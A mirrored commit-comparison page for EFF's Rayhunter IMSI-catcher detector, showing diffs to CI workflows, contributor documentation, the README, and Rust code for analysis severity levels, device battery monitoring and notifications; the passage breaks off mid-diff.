mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-30 17:53:35 -07:00
Compare commits
146 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d413a76b30 | |||
| fc532682df | |||
| 8569a88f86 | |||
| e60035f744 | |||
| 1a80a0576c | |||
| fa5c2bf5d1 | |||
| ce8cbb743f | |||
| 13c1602f76 | |||
| e2cde3be90 | |||
| 8ed3459349 | |||
| 5ccdcc8685 | |||
| dac838eea9 | |||
| 9d33c161b6 | |||
| f6ff61f26b | |||
| 9f57edd385 | |||
| 69260d21ac | |||
| f65e5708fc | |||
| 6eba455e42 | |||
| dd0b8050b8 | |||
| 6009123649 | |||
| 549d3a6a8f | |||
| 3dc807fc63 | |||
| 95fe938eeb | |||
| 3ada0fa259 | |||
| 48a4b43a39 | |||
| f3c34ce0d3 | |||
| 1b5575e5a6 | |||
| 1cf6f5d339 | |||
| b00f17d8fc | |||
| 766f3461d3 | |||
| d30dd6fd9d | |||
| 10e76e351e | |||
| 301d130cdd | |||
| 7a602b577d | |||
| f52c673b25 | |||
| e6b9624a34 | |||
| 15c0ba3805 | |||
| de4a622c68 | |||
| a582715177 | |||
| e68ba6ba52 | |||
| e216043a14 | |||
| e2bc3a0a67 | |||
| 87d6d1691a | |||
| 7475cd5cd9 | |||
| cef94ba6b0 | |||
| d7c973ea95 | |||
| 64d657efd6 | |||
| 16447ed8bf | |||
| 663d0abb57 | |||
| f49d11f034 | |||
| 56dcfdb47c | |||
| a46ede37b6 | |||
| 69dc528f34 | |||
| 29ce6729ee | |||
| 5919a19aba | |||
| 35ca590e46 | |||
| 56122f6559 | |||
| bbab29ae0b | |||
| 2a620fd1fb | |||
| 515bb40a76 | |||
| a5ec1c9505 | |||
| 806bd62a0e | |||
| 6ceced2d31 | |||
| 856374c05a | |||
| 983867c2a6 | |||
| 145d0a295a | |||
| c021b9150d | |||
| ce916dcd10 | |||
| 898bdbb6cd | |||
| 375789aad9 | |||
| 85f7b2cc81 | |||
| 781d11ed72 | |||
| 6927da49b4 | |||
| 479505f738 | |||
| 468b07faf0 | |||
| 493fdfa227 | |||
| ffdad4aed8 | |||
| 33e4fbc544 | |||
| 8c510b43c9 | |||
| 46850e2739 | |||
| 53e3b8ee34 | |||
| 0fc51d79f4 | |||
| ad4e971e77 | |||
| c5a79e545d | |||
| 9d92ab3c01 | |||
| cf254b66ff | |||
| cddc590c77 | |||
| 9d736f5bf0 | |||
| e5df43d7f5 | |||
| a8667cc3a0 | |||
| 3239daa011 | |||
| 651511cc63 | |||
| 211066ec7b | |||
| 16ec9e28df | |||
| 4462f02c10 | |||
| 5bd2d9a58e | |||
| 603d65a3bd | |||
| c0a9cf62df | |||
| 0a20e659be | |||
| ce599dc432 | |||
| 85b50bc301 | |||
| 5249714717 | |||
| 67974264f9 | |||
| f562d33be3 | |||
| 0531aa0e3a | |||
| dd78f5007d | |||
| 1c08708bc4 | |||
| 0f53da58bc | |||
| 01010df4ec | |||
| 481f02f81f | |||
| 8c67a92b07 | |||
| 31bd60dea1 | |||
| 13877f7209 | |||
| f4522dbe3d | |||
| 30bb18016e | |||
| c6aa53acd2 | |||
| c6882ed173 | |||
| 5c03f6ea03 | |||
| 5184c6138d | |||
| c893f8e2a9 | |||
| 2e6343c343 | |||
| da4a86be13 | |||
| 55794cbdd5 | |||
| e36b490d15 | |||
| 574e897610 | |||
| 1f19bc880f | |||
| 8dc6206683 | |||
| 7184ccd5c1 | |||
| cb22e179d6 | |||
| a3db5029ad | |||
| 9f661ab398 | |||
| 412ad3d8bf | |||
| 4d2d49326a | |||
| c26ad29ffb | |||
| f57fc611c2 | |||
| 38a408757a | |||
| 0540504eea | |||
| 28a0c06017 | |||
| 6141087f9d | |||
| 7a053a4f89 | |||
| 6473c05e3e | |||
| c697773244 | |||
| f55d9128d4 | |||
| 84534bbb2c | |||
| 1d50440c85 | |||
| 2c05f3d94e |
@@ -1,3 +1,11 @@
|
||||
[alias]
|
||||
# Build the daemon with "firmware" profile and "ring" TLS backend.
|
||||
# Requires a cross-compiler (see github actions workflows) and is very slow to build.
|
||||
build-daemon-firmware = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features ring-tls"
|
||||
# Build the daemon with "firmware-devel" profile and "rustcrypto" backend.
|
||||
# Works with just the Rust toolchain, and is medium-slow to build. Binaries are slightly larger.
|
||||
build-daemon-firmware-devel = "build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware-devel"
|
||||
|
||||
[target.aarch64-apple-darwin]
|
||||
linker = "rust-lld"
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
|
||||
@@ -15,8 +15,8 @@ body:
|
||||
What device are you trying to install Rayhunter on?
|
||||
options:
|
||||
- Orbic RC400L
|
||||
- Tplink HW7350
|
||||
- Tplink HW7310
|
||||
- Tplink M7350
|
||||
- Tplink M7310
|
||||
- Tmobile TMOHS1
|
||||
- Wingtech CT2MHS0
|
||||
- Pinephone
|
||||
|
||||
@@ -4,3 +4,4 @@
|
||||
- [ ] Added or updated any documentation as needed to support the changes in this PR.
|
||||
- [ ] Code has been linted and run through `cargo fmt`
|
||||
- [ ] If any new functionality has been added, unit tests were also added
|
||||
- [ ] [./CONTRIBUTING.md](../CONTRIBUTING.md) has been read
|
||||
|
||||
@@ -104,6 +104,9 @@ jobs:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: rustfmt, clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Check formatting
|
||||
run: cargo fmt --all --check
|
||||
@@ -181,7 +184,7 @@ jobs:
|
||||
os: macos-latest
|
||||
target: aarch64-apple-darwin
|
||||
- name: macos-intel
|
||||
os: macos-13
|
||||
os: macos-latest
|
||||
target: x86_64-apple-darwin
|
||||
- name: windows-x86_64
|
||||
os: windows-latest
|
||||
@@ -216,7 +219,7 @@ jobs:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Build rootshell (armv7)
|
||||
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
|
||||
run: cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf --profile=firmware
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rootshell
|
||||
@@ -224,7 +227,10 @@ jobs:
|
||||
if-no-files-found: error
|
||||
|
||||
build_rayhunter:
|
||||
if: needs.files_changed.outputs.daemon_changed != '0'
|
||||
# build_rust_installer needs this step. so when installer_changed, we need
|
||||
# to build this step too. if we skip this step because only the installer
|
||||
# changed, the build_rust_installer step will be skipped too.
|
||||
if: needs.files_changed.outputs.daemon_changed != '0' || needs.files_changed.outputs.installer_changed != '0'
|
||||
needs:
|
||||
- check_and_test
|
||||
- files_changed
|
||||
@@ -238,6 +244,8 @@ jobs:
|
||||
with:
|
||||
targets: armv7-unknown-linux-musleabihf
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Install ARM cross-compilation toolchain
|
||||
run: sudo apt-get update && sudo apt-get install -y gcc-arm-linux-gnueabihf
|
||||
- name: Build rayhunter-daemon (armv7)
|
||||
run: |
|
||||
pushd daemon/web
|
||||
@@ -252,7 +260,7 @@ jobs:
|
||||
# what the feature selection in rayhunter-daemon is.
|
||||
#
|
||||
# https://github.com/rust-lang/cargo/issues/4463
|
||||
cargo build -p rayhunter-daemon --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile=firmware
|
||||
CC_armv7_unknown_linux_musleabihf=arm-linux-gnueabihf-gcc cargo build-daemon-firmware
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: rayhunter-daemon
|
||||
@@ -285,7 +293,7 @@ jobs:
|
||||
os: macos-latest
|
||||
target: aarch64-apple-darwin
|
||||
- name: macos-intel
|
||||
os: macos-13
|
||||
os: macos-latest
|
||||
target: x86_64-apple-darwin
|
||||
- name: windows-x86_64
|
||||
os: windows-latest
|
||||
@@ -337,8 +345,13 @@ jobs:
|
||||
platform="${{ matrix.platform }}"
|
||||
dest="rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}"
|
||||
mkdir "$dest"
|
||||
mv installer-$platform/installer* "$dest"/installer
|
||||
cp -r rayhunter-daemon rootshell/rootshell dist/* installer/install.ps1 "$dest"/
|
||||
# Handle installer with proper extension for Windows
|
||||
if [ "$platform" = "windows-x86_64" ]; then
|
||||
mv installer-$platform/installer.exe "$dest"/installer.exe
|
||||
else
|
||||
mv installer-$platform/installer "$dest"/installer
|
||||
fi
|
||||
cp -r rayhunter-check-* rayhunter-daemon rootshell/rootshell dist/* installer/install.ps1 "$dest"/
|
||||
zip -r "$dest.zip" "$dest"
|
||||
sha256sum "$dest.zip" > "$dest.zip.sha256"
|
||||
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# How to contribute to Rayhunter
|
||||
|
||||
## Filing issues and starting discussions
|
||||
|
||||
Our issue tracker is [on GitHub](https://github.com/EFForg/rayhunter/issues).
|
||||
|
||||
- If your rayhunter has found an IMSI-catcher, we strongly encourage you to
|
||||
[send us that information
|
||||
privately.](https://efforg.github.io/rayhunter/faq.html#help-rayhunters-line-is-redorangeyellowdotteddashed-what-should-i-do) via Signal.
|
||||
|
||||
- Issues should be actionable. If you don't have a
|
||||
specific feature request or bug report, consider [creating a
|
||||
discussion](https://github.com/EFForg/rayhunter/discussions) instead.
|
||||
|
||||
Example of a good bug report:
|
||||
|
||||
- "Installer broken on TP-Link M7350 v3.0"
|
||||
- "Display does not update to green after finding"
|
||||
- "The documentation is wrong" (though we encourage you to file a pull request directly)
|
||||
|
||||
Example of a good feature request:
|
||||
|
||||
- "Use LED on device XYZ for showing recording status"
|
||||
|
||||
Example of something that belongs into discussion:
|
||||
|
||||
- "In region XYZ, do I need an activated SIM?"
|
||||
- "Where to buy this device in region XYZ?"
|
||||
- "Can this device be supported?" While this is a valid feature
|
||||
request, we just get this request too often, and without some exploratory
|
||||
work done upfront it's often unclear initially if that device can be
|
||||
supported at all.
|
||||
|
||||
- The issue templates are mostly there to give you a clue what kind of
|
||||
information is needed from you, and whether your request belongs into the issue
|
||||
tracker. Fill them out to be on the safe side, but they are not mandatory.
|
||||
|
||||
## Contributing patches
|
||||
|
||||
To edit documentation or fix a bug, make a pull request. If you're about to
|
||||
write a substantial amount of code or implement a new feature, we strongly
|
||||
encourage you to talk to us before implementing it or check if any issues have
|
||||
been opened for it already. Otherwise there is a chance we will reject your
|
||||
contribution after you have spent time on it.
|
||||
|
||||
On the other hand, for small documentation fixes you can file a PR without
|
||||
filing an issue.
|
||||
|
||||
Otherwise:
|
||||
|
||||
- Refer to [installing from
|
||||
source](https://efforg.github.io/rayhunter/installing-from-source.html) for
|
||||
how to build Rayhunter from the git repository.
|
||||
|
||||
- Ensure that `cargo fmt` and `cargo clippy` have been run.
|
||||
|
||||
- If you add new features, please do your best to both write tests for and also
|
||||
manually test them. Our test coverage isn't great, but as new features are
|
||||
added we are trying to prevent it from becoming worse.
|
||||
|
||||
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
|
||||
|
||||
## Making releases
|
||||
|
||||
This one is for maintainers of Rayhunter.
|
||||
|
||||
1. Make a PR changing the versions in `Cargo.toml` and other files.
|
||||
This could be automated better but right now it's manual. You can do this easily with sed:
|
||||
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml`
|
||||
|
||||
2. Merge PR and make a tag.
|
||||
|
||||
3. [Run release workflow.](https://github.com/EFForg/rayhunter/actions/workflows/release.yml)
|
||||
|
||||
4. Write changelog, edit it into the release, announce on mattermost.
|
||||
Generated
+641
-102
File diff suppressed because it is too large
Load Diff
@@ -1,7 +1,19 @@
|
||||

|
||||
|
||||
# Rayhunter
|
||||
|
||||

|
||||
|
||||
Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
|
||||

|
||||
|
||||
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It was first designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](https://efforg.github.io/rayhunter/supported-devices.html).
|
||||
It's also designed to be as easy to install and use as possible, regardless of your level of technical skills, and to minimize false positives.
|
||||
|
||||
→ Check out the [installation guide](https://efforg.github.io/rayhunter/installation.html) to get started.
|
||||
|
||||
→ To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying).
|
||||
|
||||
→ For discussion, help, or to join the mattermost channel and get involved with the project and community check out the [many ways listed here](https://efforg.github.io/rayhunter/support-feedback-community.html)!
|
||||
|
||||
→ To learn more about the project in general check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
|
||||
|
||||
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
|
||||
|
||||
*Good Hunting!*
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter-check"
|
||||
version = "0.5.1"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
|
||||
+2
-2
@@ -65,10 +65,10 @@ impl Report {
|
||||
EventType::Informational => {
|
||||
info!("{}: INFO - {} {}", self.file_path, timestamp, event.message,);
|
||||
}
|
||||
EventType::QualitativeWarning { severity } => {
|
||||
EventType::Low | EventType::Medium | EventType::High => {
|
||||
warn!(
|
||||
"{}: WARNING (Severity: {:?}) - {} {}",
|
||||
self.file_path, severity, timestamp, event.message,
|
||||
self.file_path, event.event_type, timestamp, event.message,
|
||||
);
|
||||
self.warnings += 1;
|
||||
}
|
||||
|
||||
+10
-2
@@ -1,7 +1,13 @@
|
||||
[package]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.5.1"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
rust-version = "1.88.0"
|
||||
|
||||
[features]
|
||||
default = ["rustcrypto-tls"]
|
||||
rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
|
||||
ring-tls = ["reqwest/rustls-tls-webpki-roots"]
|
||||
|
||||
[dependencies]
|
||||
rayhunter = { path = "../lib" }
|
||||
@@ -17,11 +23,13 @@ tokio-util = { version = "0.7.10", features = ["rt", "io", "compat"] }
|
||||
futures-macro = "0.3.30"
|
||||
include_dir = "0.7.3"
|
||||
chrono = { version = "0.4.31", features = ["serde"] }
|
||||
tokio-stream = { version = "0.1.14", default-features = false }
|
||||
tokio-stream = { version = "0.1.14", default-features = false, features = ["io-util"] }
|
||||
futures = { version = "0.3.30", default-features = false }
|
||||
serde_json = "1.0.114"
|
||||
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
|
||||
tempfile = "3.10.1"
|
||||
async_zip = { version = "0.0.17", features = ["tokio"] }
|
||||
anyhow = "1.0.98"
|
||||
reqwest = { version = "0.12.20", default-features = false }
|
||||
rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
|
||||
async-trait = "0.1.88"
|
||||
|
||||
+10
-6
@@ -1,5 +1,5 @@
|
||||
use std::sync::Arc;
|
||||
use std::{future, pin};
|
||||
use std::{cmp, future, pin};
|
||||
|
||||
use axum::Json;
|
||||
use axum::{
|
||||
@@ -8,7 +8,7 @@ use axum::{
|
||||
};
|
||||
use futures::TryStreamExt;
|
||||
use log::{error, info};
|
||||
use rayhunter::analysis::analyzer::{AnalyzerConfig, Harness};
|
||||
use rayhunter::analysis::analyzer::{AnalyzerConfig, EventType, Harness};
|
||||
use rayhunter::diag::{DataType, MessagesContainer};
|
||||
use rayhunter::qmdl::QmdlReader;
|
||||
use serde::Serialize;
|
||||
@@ -47,15 +47,19 @@ impl AnalysisWriter {
|
||||
|
||||
// Runs the analysis harness on the given container, serializing the results
|
||||
// to the analysis file, returning the whether any warnings were detected
|
||||
pub async fn analyze(&mut self, container: MessagesContainer) -> Result<bool, std::io::Error> {
|
||||
let mut warning_detected = false;
|
||||
pub async fn analyze(
|
||||
&mut self,
|
||||
container: MessagesContainer,
|
||||
) -> Result<EventType, std::io::Error> {
|
||||
let mut max_type = EventType::Informational;
|
||||
|
||||
for row in self.harness.analyze_qmdl_messages(container) {
|
||||
if !row.is_empty() {
|
||||
self.write(&row).await?;
|
||||
}
|
||||
warning_detected |= row.contains_warnings();
|
||||
max_type = cmp::max(max_type, row.get_max_event_type());
|
||||
}
|
||||
Ok(warning_detected)
|
||||
Ok(max_type)
|
||||
}
|
||||
|
||||
async fn write<T: Serialize>(&mut self, value: &T) -> Result<(), std::io::Error> {
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
use std::{path::Path, time::Duration};
|
||||
|
||||
use log::{error, info};
|
||||
use rayhunter::Device;
|
||||
use serde::Serialize;
|
||||
use tokio::select;
|
||||
use tokio_util::{sync::CancellationToken, task::TaskTracker};
|
||||
|
||||
use crate::{
|
||||
error::RayhunterError,
|
||||
notifications::{Notification, NotificationType},
|
||||
};
|
||||
|
||||
pub mod orbic;
|
||||
pub mod tmobile;
|
||||
pub mod tplink;
|
||||
pub mod wingtech;
|
||||
|
||||
const LOW_BATTERY_LEVEL: u8 = 10;
|
||||
|
||||
#[derive(Clone, Copy, PartialEq, Debug, Serialize)]
|
||||
pub struct BatteryState {
|
||||
level: u8,
|
||||
is_plugged_in: bool,
|
||||
}
|
||||
|
||||
async fn is_plugged_in_from_file(path: &Path) -> Result<bool, RayhunterError> {
|
||||
match tokio::fs::read_to_string(path)
|
||||
.await
|
||||
.map_err(RayhunterError::TokioError)?
|
||||
.chars()
|
||||
.next()
|
||||
{
|
||||
Some('0') => Ok(false),
|
||||
Some('1') => Ok(true),
|
||||
_ => Err(RayhunterError::BatteryPluggedInStatusParseError),
|
||||
}
|
||||
}
|
||||
|
||||
async fn get_level_from_percentage_file(path: &Path) -> Result<u8, RayhunterError> {
|
||||
tokio::fs::read_to_string(path)
|
||||
.await
|
||||
.map_err(RayhunterError::TokioError)?
|
||||
.trim_end()
|
||||
.parse()
|
||||
.or(Err(RayhunterError::BatteryLevelParseError))
|
||||
}
|
||||
|
||||
pub async fn get_battery_status(device: &Device) -> Result<BatteryState, RayhunterError> {
|
||||
Ok(match device {
|
||||
Device::Orbic => orbic::get_battery_state().await?,
|
||||
Device::Wingtech => wingtech::get_battery_state().await?,
|
||||
Device::Tmobile => tmobile::get_battery_state().await?,
|
||||
Device::Tplink => tplink::get_battery_state().await?,
|
||||
_ => return Err(RayhunterError::FunctionNotSupportedForDeviceError),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn run_battery_notification_worker(
|
||||
task_tracker: &TaskTracker,
|
||||
device: Device,
|
||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||
shutdown_token: CancellationToken,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
// Don't send a notification initially if the device starts at a low battery level.
|
||||
let mut triggered = match get_battery_status(&device).await {
|
||||
Err(RayhunterError::FunctionNotSupportedForDeviceError) => {
|
||||
info!("Battery level function not supported for device");
|
||||
false
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Failed to get battery status: {e}");
|
||||
true
|
||||
}
|
||||
Ok(status) => status.level <= LOW_BATTERY_LEVEL,
|
||||
};
|
||||
|
||||
loop {
|
||||
select! {
|
||||
_ = shutdown_token.cancelled() => break,
|
||||
_ = tokio::time::sleep(Duration::from_secs(15)) => {}
|
||||
}
|
||||
|
||||
let status = match get_battery_status(&device).await {
|
||||
Err(e) => {
|
||||
error!("Failed to get battery status: {e}");
|
||||
continue;
|
||||
}
|
||||
Ok(status) => status,
|
||||
};
|
||||
|
||||
// To avoid flapping, if the notification has already been triggered
|
||||
// wait until the device has been plugged in and the battery level
|
||||
// is high enough to re-enable notifications.
|
||||
if triggered && status.is_plugged_in && status.level > LOW_BATTERY_LEVEL {
|
||||
triggered = false;
|
||||
continue;
|
||||
}
|
||||
if !triggered && !status.is_plugged_in && status.level <= LOW_BATTERY_LEVEL {
|
||||
notification_channel
|
||||
.send(Notification::new(
|
||||
NotificationType::LowBattery,
|
||||
"Rayhunter's battery is low".to_string(),
|
||||
None,
|
||||
))
|
||||
.await
|
||||
.expect("Failed to send to notification channel");
|
||||
triggered = true;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
use std::path::Path;
|
||||
|
||||
use crate::{
|
||||
battery::{BatteryState, is_plugged_in_from_file},
|
||||
error::RayhunterError,
|
||||
};
|
||||
|
||||
const BATTERY_LEVEL_FILE: &str = "/sys/kernel/chg_info/level";
|
||||
const PLUGGED_IN_STATE_FILE: &str = "/sys/kernel/chg_info/chg_en";
|
||||
|
||||
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
|
||||
Ok(BatteryState {
|
||||
level: match tokio::fs::read_to_string(&BATTERY_LEVEL_FILE)
|
||||
.await
|
||||
.map_err(RayhunterError::TokioError)?
|
||||
.chars()
|
||||
.next()
|
||||
{
|
||||
Some('1') => Ok(10),
|
||||
Some('2') => Ok(25),
|
||||
Some('3') => Ok(50),
|
||||
Some('4') => Ok(75),
|
||||
Some('5') => Ok(100),
|
||||
_ => Err(RayhunterError::BatteryLevelParseError),
|
||||
}?,
|
||||
is_plugged_in: is_plugged_in_from_file(Path::new(PLUGGED_IN_STATE_FILE)).await?,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
use std::path::Path;
|
||||
|
||||
use crate::{
|
||||
battery::{BatteryState, get_level_from_percentage_file, is_plugged_in_from_file},
|
||||
error::RayhunterError,
|
||||
};
|
||||
|
||||
const BATTERY_LEVEL_FILE: &str = "/sys/class/power_supply/bms/capacity";
|
||||
const PLUGGED_IN_STATE_FILE: &str = "/sys/devices/78d9000.usb/power_supply/usb/online";
|
||||
|
||||
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
|
||||
Ok(BatteryState {
|
||||
level: get_level_from_percentage_file(Path::new(BATTERY_LEVEL_FILE)).await?,
|
||||
is_plugged_in: is_plugged_in_from_file(Path::new(PLUGGED_IN_STATE_FILE)).await?,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
use crate::{battery::BatteryState, error::RayhunterError};
|
||||
|
||||
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
|
||||
let uci_battery = tokio::process::Command::new("uci")
|
||||
.arg("get")
|
||||
.arg("battery.battery_mgr.power_level")
|
||||
.output()
|
||||
.await?;
|
||||
|
||||
let uci_plugged_in = tokio::process::Command::new("uci")
|
||||
.arg("get")
|
||||
.arg("battery.battery_mgr.is_charging")
|
||||
.output()
|
||||
.await?;
|
||||
|
||||
if !uci_battery.status.success() {
|
||||
return Err(RayhunterError::BatteryLevelParseError);
|
||||
}
|
||||
|
||||
if !uci_plugged_in.status.success() {
|
||||
return Err(RayhunterError::BatteryPluggedInStatusParseError);
|
||||
}
|
||||
|
||||
let uci_battery = String::from_utf8_lossy(&uci_battery.stdout)
|
||||
.trim_end()
|
||||
.parse()
|
||||
.map_err(|_| RayhunterError::BatteryLevelParseError)?;
|
||||
|
||||
let uci_plugged_in = match String::from_utf8_lossy(&uci_plugged_in.stdout).trim_end() {
|
||||
"0" => Ok(false),
|
||||
"1" => Ok(true),
|
||||
_ => Err(RayhunterError::BatteryPluggedInStatusParseError),
|
||||
}?;
|
||||
|
||||
Ok(BatteryState {
|
||||
level: uci_battery,
|
||||
is_plugged_in: uci_plugged_in,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
use std::path::Path;
|
||||
|
||||
use crate::{
|
||||
battery::{BatteryState, get_level_from_percentage_file, is_plugged_in_from_file},
|
||||
error::RayhunterError,
|
||||
};
|
||||
|
||||
const BATTERY_LEVEL_FILE: &str =
|
||||
"/sys/devices/78b7000.i2c/i2c-3/3-0063/power_supply/cw2017-bat/capacity";
|
||||
const PLUGGED_IN_STATE_FILE: &str = "/sys/devices/8a00000.ssusb/power_supply/usb/online";
|
||||
|
||||
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
|
||||
Ok(BatteryState {
|
||||
level: get_level_from_percentage_file(Path::new(BATTERY_LEVEL_FILE)).await?,
|
||||
is_plugged_in: is_plugged_in_from_file(Path::new(PLUGGED_IN_STATE_FILE)).await?,
|
||||
})
|
||||
}
|
||||
@@ -5,6 +5,7 @@ use rayhunter::Device;
|
||||
use rayhunter::analysis::analyzer::AnalyzerConfig;
|
||||
|
||||
use crate::error::RayhunterError;
|
||||
use crate::notifications::NotificationType;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
#[serde(default)]
|
||||
@@ -16,6 +17,8 @@ pub struct Config {
|
||||
pub ui_level: u8,
|
||||
pub colorblind_mode: bool,
|
||||
pub key_input_mode: u8,
|
||||
pub ntfy_url: Option<String>,
|
||||
pub enabled_notifications: Vec<NotificationType>,
|
||||
pub analyzers: AnalyzerConfig,
|
||||
}
|
||||
|
||||
@@ -30,6 +33,8 @@ impl Default for Config {
|
||||
colorblind_mode: false,
|
||||
key_input_mode: 0,
|
||||
analyzers: AnalyzerConfig::default(),
|
||||
ntfy_url: None,
|
||||
enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+54
-20
@@ -1,26 +1,30 @@
|
||||
use std::ops::DerefMut;
|
||||
use std::pin::pin;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use axum::body::Body;
|
||||
use axum::extract::{Path, State};
|
||||
use axum::http::StatusCode;
|
||||
use axum::http::header::CONTENT_TYPE;
|
||||
use axum::response::{IntoResponse, Response};
|
||||
use futures::{StreamExt, TryStreamExt};
|
||||
use futures::{StreamExt, TryStreamExt, future};
|
||||
use log::{debug, error, info, warn};
|
||||
use rayhunter::analysis::analyzer::AnalyzerConfig;
|
||||
use tokio::fs::File;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use tokio::sync::mpsc::{Receiver, Sender};
|
||||
use tokio::sync::{RwLock, oneshot};
|
||||
use tokio_stream::wrappers::LinesStream;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use rayhunter::analysis::analyzer::{AnalysisLineNormalizer, AnalyzerConfig, EventType};
|
||||
use rayhunter::diag::{DataType, MessagesContainer};
|
||||
use rayhunter::diag_device::DiagDevice;
|
||||
use rayhunter::qmdl::QmdlWriter;
|
||||
use tokio::fs::File;
|
||||
use tokio::sync::mpsc::{Receiver, Sender};
|
||||
use tokio::sync::{RwLock, oneshot};
|
||||
use tokio_util::io::ReaderStream;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
|
||||
use crate::display;
|
||||
use crate::notifications::{Notification, NotificationType};
|
||||
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
|
||||
use crate::server::ServerState;
|
||||
|
||||
@@ -41,7 +45,9 @@ pub struct DiagTask {
|
||||
ui_update_sender: Sender<display::DisplayState>,
|
||||
analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
analyzer_config: AnalyzerConfig,
|
||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||
state: DiagState,
|
||||
max_type_seen: EventType,
|
||||
}
|
||||
|
||||
enum DiagState {
|
||||
@@ -57,12 +63,15 @@ impl DiagTask {
|
||||
ui_update_sender: Sender<display::DisplayState>,
|
||||
analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
analyzer_config: AnalyzerConfig,
|
||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||
) -> Self {
|
||||
Self {
|
||||
ui_update_sender,
|
||||
analysis_sender,
|
||||
analyzer_config,
|
||||
notification_channel,
|
||||
state: DiagState::Stopped,
|
||||
max_type_seen: EventType::Informational,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -94,16 +103,15 @@ impl DiagTask {
|
||||
/// Stop recording
|
||||
async fn stop(&mut self, qmdl_store: &mut RecordingStore) {
|
||||
self.stop_current_recording().await;
|
||||
if let Some((_, entry)) = qmdl_store.get_current_entry() {
|
||||
if let Err(e) = self
|
||||
if let Some((_, entry)) = qmdl_store.get_current_entry()
|
||||
&& let Err(e) = self
|
||||
.analysis_sender
|
||||
.send(AnalysisCtrlMessage::RecordingFinished(
|
||||
entry.name.to_string(),
|
||||
))
|
||||
.await
|
||||
{
|
||||
warn!("couldn't send analysis message: {e}");
|
||||
}
|
||||
{
|
||||
warn!("couldn't send analysis message: {e}");
|
||||
}
|
||||
if let Err(e) = qmdl_store.close_current_entry().await {
|
||||
error!("couldn't close current entry: {e}");
|
||||
@@ -190,16 +198,33 @@ impl DiagTask {
|
||||
.await
|
||||
.expect("failed to update qmdl file size");
|
||||
debug!("done!");
|
||||
let heuristic_warning = analysis_writer
|
||||
let max_type = analysis_writer
|
||||
.analyze(container)
|
||||
.await
|
||||
.expect("failed to analyze container");
|
||||
if heuristic_warning {
|
||||
|
||||
if max_type > EventType::Informational {
|
||||
info!("a heuristic triggered on this run!");
|
||||
self.ui_update_sender
|
||||
.send(display::DisplayState::WarningDetected)
|
||||
self.notification_channel
|
||||
.send(Notification::new(
|
||||
NotificationType::Warning,
|
||||
